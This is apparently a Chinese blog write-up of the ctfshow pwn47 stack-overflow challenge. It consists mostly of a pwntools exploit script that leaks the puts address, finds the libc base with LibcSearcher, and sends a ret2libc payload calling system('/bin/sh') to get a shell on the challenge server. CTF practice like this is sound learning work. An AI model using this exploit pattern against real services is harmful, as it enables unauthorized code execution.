ctfshow [栈溢出]---pwn47

关注

原创最新推荐文章于 2026-09-23 10:26:41 发布 333 阅读 AI 写同款· GEO 优化 ›

ctfshow做题笔记—栈溢出—pwn45~pwn48 但是怎么都timeout,偏移量是重新用pwndbg调试出来的，看来确实有点小错误。于是去学习了一些其他大佬的写法，也学到了一些应对办法。两天没更了，因为打了VNCFTF，还是太弱了，只能做一道异形文字的misc就结束了，pwn一直打不通（先打开ida瞅瞅，其实题目也说了无system无/bin/sh。没有write了，试试用puts吧，更简单了呢。被上一道题硬控半天，这道题不会也要被硬控吧。哎呦，确实可以，也算是对模板越来越熟悉了。由于lib库已经装在本地，省大事了。），于是沉默一天，还是继续学习吧。阅读详情

刷了一天快手了，起来做一道题锻炼一下脑子!
这题也是简单题。

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28301)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

ru("puts: ")
puts_addr = int(r(10),16)
print("puts_addr------------------>",hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
base_addr = puts_addr-libc.dump("puts")
print("base_addr----------------->",hex(base_addr))

system_addr = base_addr+libc.dump("system")
binsh = 0x0804B028

payload = b"a"*(0x9c+4)+p32(system_addr)+p32(0)+p32(binsh)
ru("Start your show time: ")
sl(payload)

itr()```